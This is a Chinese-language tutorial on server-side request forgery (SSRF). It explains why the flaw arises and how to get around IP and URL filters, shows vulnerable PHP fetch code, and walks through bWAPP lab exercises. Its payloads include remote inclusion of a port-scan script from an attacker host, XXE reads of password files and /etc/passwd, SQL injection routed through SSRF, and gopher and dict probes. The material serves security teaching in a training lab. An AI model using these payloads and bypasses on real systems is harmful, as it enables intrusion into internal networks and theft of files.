SSRF 攻击技术
SSRF 攻击技术
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由 服务端发起请求的一个安全漏洞。一般情况下,SSRF 是要目标网站的内部系统。(因为他是 从内部系统访问的,所有可以通过它攻击外网无法访问的内部系统,也就是把目标网站当中 间人)
1.1.1 SSRF形成原因
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有 对目标地址做过滤与限制。比如从指定 URL 地址获取网页文本内容,加载指定地址的图片, 文档,等等。
首先,我们要对目标网站的架构了解,脑子了要有一个架构图。比如 : A 网站,是一 个所有人都可以访问的外网网站,B 网站是一个他们内部的 OA 网站,我们普通用户只可以 访问 a 网站,不能访问 b 网站。但是我们可以同过 a 网站做中间人,访问 b 网站,从而达到 攻击 b 网站需求。
正常用户访问网站的流程是:
输入 A 网站 URL --> 发送请求 --> A 服务器接受请求(没有过滤),并处理 -->返回用 户响应
那网站有个请求是 www.oldboyedu,com/xxx.php?image=URL】
那么产生 SSRF 漏洞的环节在哪里呢?安全的网站应接收请求后,检测请求的合法性
产生的原因:服务器端的验证并没有对其请求获取图片的参数(image=)做出严格的过滤以 及限制,导致 A 网站可以从其他服务器的获取数据
例如:
www.oldboyedu.com/xxx.php?image=www.luffycity.com/1.jpg
如果我们将 www.luffycity.com/1.jpg 换为与该服务器相连的内网服务器地址会产生什么 效果呢?
如果存在该内网地址就会返回 1xx 2xx 之类的状态码,不存在就会其他的状态码
终极简析: SSRF 漏洞就是通过篡改获取资源的请求发送给服务器,但是服务器并没有检测 这个请求是否合法的,然后服务器以他的身份来访问其他服务器的资源。
1.1.2 SSRF用途
攻击者利用 ssrf 可以实现的攻击主要有 5 种::
1.可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的 banner 信息;
2.攻击运行在内网或本地的应用程序(比如溢出);
3.对内网 web 应用进行指纹识别,通过访问默认文件实现;
4.攻击内外网的 web 应用,主要是使用 get 参数就可以实现的攻击(比如 struts2,sqli等);
5.利用 file 协议读取本地文件等。
1.1.3 SSRF漏洞出没位置
注:个人觉得所有调外部资源的参数都有可能存在 ssrf 漏洞
1)分享:通过 URL 地址分享网页内容
2)转码服务
3)在线翻译 www.oldboyedu.com
4)图片加载与下载:通过 URL 地址加载或下载图片
5)图片、文章收藏功能
6)未公开的 api 实现以及其他调用 URL 的功能
7)从 URL 关键字中寻找
share
wap
url
link
src
source
target
u
3g
display
sourceURl
imageURL
domain
...
绕过解读:
1、更改 IP 地址写法 一些开发者会通过对传过来的 URL 参数进行正则匹配的方式来过滤掉内网 IP,如采用如下 正则表达式:
^10(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){3}$
^172\.([1][6-9]|[2]\d|3[01])(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
^192\.168(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
对于这种过滤我们可以采用改编 IP 的写法的方式进行绕过,例如 192.168.0.1 这个 IP 地址 我们可以改写成:
(1)、8 进制格式:0300.0250.0.1
(2)、16 进制格式:0xC0.0xA8.0.1
(3)、10 进制整数格式:3232235521
(4)、16 进制整数格式:0xC0A80001
还有一种特殊的省略模式,例如 10.0.0.1 这个 IP 可以写成 10.1
2、利用解析 URL 所出现的问题
在某些情况下,后端程序可能会对访问的 URL 进行解析,对解析出来的 host 地址进行过滤。 这时候可能会出现对 URL 参数解析不当,导致可以绕过过滤。
http://www.oldboyedu.com@192.168.0.1/
当后端程序通过不正确的正则表达式(比如将 http 之后到 com 为止的字符内容,也就是 www.oldboyedu.com,认为是访问请求的 host 地址时)对上述 URL 的内容进行解析的时候, 很有可能会认为访问 URL 的 host 为 www.oldboyedu.com,而实际上这个 URL 所请求的内容 都是 192.168.0.1 上的内容。
1.1.4 SSRF常用的后端实现
终极简析: SSRF 漏洞就是通过篡改获取资源的请求发送给服务器,但是服务器并没有 检测这个请求是否合法的,然后服务器以他的身份来访问其他服务器的
ssrf 攻击可能存在任何语言编写的应用,我们通过一些 php 实现的代码来作为样例分析。代码的大部分来自于真实的应用源码。
file_get_contents:
<?php
if (isset($_POST['url'])) {
$content = file_get_contents($_POST['url']);
$filename ='./images/'.rand().';img1.jpg';
file_put_contents($filename, $content);
echo $_POST['url'];
$img = "<img src=\"".$filename."\"/>";
}
echo $img;
?>
这段代码使用 file_get_contents 函数从用户指定的 url 获取图片,然后把它用一个随机文 件名保存在硬盘上,并展示给用户。
fsockopen():
<?php
function GetFile($host,$port,$link) {
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr (error number $errno) \n";
} else {
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp)) {
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
?>
这段代码使用 fsockopen 函数实现获取用户制定 url 的数据(文件或者 html)。这个函数会 使用 socket 跟服务器建立 tcp 连接,传输原始数据。
curl_exec():
<?php
if (isset($_POST['url'])) {
$link = $_POST['url'];
$curlobj = curl_init();
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($curlobj);
curl_close($curlobj);
$filename = './curled/'.rand().'.txt';
file_put_contents($filename, $result);
echo $result;
}
?>
这是另外一个很常见的实现。使用 curl 获取数据。
1.1.5 SSRF测试实验
bWAPP(buggy web Application) 这是一个集成了各种常见漏洞和最新漏洞的开源 Web 应 用程序,集成了超过 100 种漏洞,个人觉得还是非常好用的,特别是在找漏洞利用示例的时 候,往往能够节省一些时间。
bWAPP(buggy web Application) 的搭建可参考老男孩安全培训环境建设。
安装完毕后,使用 bee/bug 进行登录,登录的时候的等级选择为 low,登录后选择 SSRF 的 靶场,然后点击 Hack 进行演练。
bWAPP 中的 SSRF 给出了 3 个小实验来说明 SSRF 的利用场景:
任务 1:使用远程文件包含进行端口扫描(内网探测)
任务 2:使用 XXE 获取敏感文件中的内容(文件读取)
任务 3:使用 XXE 进行 SmartTV 的拒绝服务漏洞的利用(漏洞利用)
任务 1:使用远程文件包含进行端口扫描
点击任务 1 中的 Port scan 可以获得一份端口扫描的攻击脚本
http://192.168.163.157/evil/ssrf-1.txt,脚本中具体的内容就不进行讲解了,相信大家能够看 懂脚本的功能和执行流程,仅需要包含脚本,并请求 IP 参数为对应的主机即可,接下来就 是利用 bWAPP 中的远程文件包含漏洞,执行端口扫描的脚本。
在 Choose your bug 中选择 Remote & Local File Inclusion (RFI/LFI)security level 还是选择 low, 然后点击 Hack。
进入 Remote & Local File Inclusion (RFI/LFI)的实验后,看到有个选择语言的功能模块,直接执 行下,观察 Get 请求中的参数,发现是典型文件包含问题,language=lang_en.php
GET 的请求: http://192.168.163.157/bWAPP/rlfi.php?language=lang_en.php&action=go

使用如下 PAYLOAD,远程包含并执行扫描脚本探测内网主机的端口和服务。
POST: http://192.168.163.157/bWAPP/rlfi.php?language=http://xxx.xxx.xxx/evil/ssrf-1.txt&action=go
POST DATA:ip=192.168.163.159
这里 xxx.xxx.xxx (192.168.163.1)是扫描脚本的访问地址,192.168.163.159 是要扫描的目标主 机地址,且该地址是 xxx.xxx.xxx 主机无法访问到的,然后方便查看区分使用 post 请求提交 要进行扫描的目标主机 IP,扫描结束后便返回结果。
任务 2:使用 XXE 获取敏感文件中的内容
先点击任务 2 中的 Access 得到 XXE 的利用脚本:http://xxx.xxx.xxx/bWAPP/xxe-1.php,然后 访问 XML External Entity Attacks (XXE)演练环境,使用 burpSuite 抓包,并发送到 repeater 中 进行测试。
测试中涉及的 XXE 知识可以参考 http://mp.weixin.qq.com/s/Yt7s-OoGMilCs-Yvyjl1xA 这篇文章。
使用 http 协议获取/bWAPP/robots.txt 的内容。
php://filter/read=convert.base64-encode/resource=http://192.168.0.67/1/bwapp/passwords/he roes.xml
使用 php 协议获取/bWAPP/passwords/heroes.xml 中的经过 base64 编码的数据。
使用 file 协议获取 bWAPP 本机的/etc/passwd 的内容。
任务 3:使用 XXE 进行内网 sql 注入)
这个任务对内网站点的 SQL 注入漏洞进行利用。如,192.168.163.150 主机上有注入漏洞那 么可以发送如下 payload 可以使用 SSRF 进行 SQL 漏洞的利用,当然也可以进行 Struts2 等漏 洞的利用。
1.<?xml version=”1.0′′ encoding=”utf-8′′?>
2.<!DOCTYPE root [
3. <!ENTITY bWAPP SYSTEM "http://192.168.163.150/news.php?newsid=-11+union+select+1,user()">
4.]>
5.<reset><login>&bWAPP;</login><secret>blah</secret></reset>
1.1.6 SSRF知识拓展
以上讲述的是 SSRF 的一般用法,用 http,file,php 协议来进行内网探测,文件读取, 漏洞利用等,接下来讨论的是 SSRF 的拓展知识。回想上面的利用都是发送 GET 的请求进行 利用的。那么请思考下如果内网站点的漏洞在 POST 请求的参数中呢?
又或者漏洞点在 request header 中的某个字段里呢?应该如何构造 SSRF 请求进行利用?
SSRF 中各个编程语言可以使用的协议如下图所示:
实验靶机搭建:
从上面的表格内容可以知道,在php中要使用gopher协议需要curl的支持,当然curl还支持了很多的协议,首先准备好lamp的环境,如果ubuntu上的PHP没有curl拓展,需要使用以下命令进行安装 。
sudo apt-get install php5-curl
sudo service apache restart
然后编写以下测试代码,用户可控的输入点是$_GET['url']到此就完成实验靶机的搭建了。
1.<?php
2.// 创建一个新cURL资源
3.$ch = curl_init();
4.// 设置URL和相应的选项
5.curl_setopt($ch, CURLOPT_URL, $_GET['url']);
6.curl_setopt($ch, CURLOPT_HEADER, false);
7.// 抓取URL并把它传递给浏览器
8.curl_exec($ch);
9.//关闭cURL资源,并且释放系统资源
10.curl_close($ch);
11.?>
- file协议的运用
file协议还是和之前文章讲述的一样,此处就使用以下的图片进行展示,不再进行讲述。
请求 http://192.168.163.150/test.php?url=file:///etc/passwd便可以获取敏感文件的信息。
- gopher协议的运用
接下来主要介绍下在SSRF漏洞利用中号称万金油的gopher协议。
简要介绍:gopher协议是比http协议更早出现的协议,现在已经不常用了,但是在SSRF漏洞利用中gopher可以说是万金油,因为可以使用gopher发送各种格式的请求包,这样变可以解决漏洞点不在GET参数的问题了。
基本协议格式:URL:gopher://
进行如下请求可以发送一个POST请求,且参数cmd的值为balabal,这里构造gopher请求的时候,回车换行符号要进行2次url编码%250d%250a
http://192.168.163.150/test.php?url=gopher://192.168.163.1:80/_POST /evil.php HTTP/1.1%250d%250aHost: 192.168.163.1%250d%250aUser-Agent: curl/7.43.0%250d%250aAccept: /%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250acmd=balabala
此时可以在192.168.163.1主机中的access.log,找到访问日志。
当然也可以使用网络数据包分析工具,抓取TCP流量中HTTP的数据,这里我使用的是科来网络分析器。
由于gopher可以构造各种HTTP请求包,所以gopher在SSRF漏洞利用中充当万金油的角色,具体的攻击方式可以参考如下链接:
https://blog.chaitin.cn/gopher-attack-surfaces/
- dict协议应用
dict协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源,但是在SSRF中如果可以使用dict协议那么就可以轻易的获取目标服务器端口上运行的服务版本等信息。
如请求http://192.168.163.150/test.php?url=dict://192.168.163.1:3306/info 可以获取目标主机的3306端口上运行着mysq-l5.5.55版本的应用。
0×04 总结
本篇仅介绍了SSRF的一些基本知识,SSRF有很多很棒的利用案例,可以在wooyun漏洞库或互联网上找到,还有很多骚知识可以参考猪猪侠大佬的《SSRF漏洞自动化利用》和Orange Tsai的《A New Era of SSRF – Exploiting URL Parser in Trending Programming Languages!》这两个议题,期待和师傅的讨论和交流。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· 没有源码,如何修改代码逻辑?
· 全程不用写代码,我用AI程序员写了一个飞机大战
· DeepSeek 开源周回顾「GitHub 热点速览」
· 记一次.NET内存居高不下排查解决与启示
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· .NET10 - 预览版1新功能体验(一)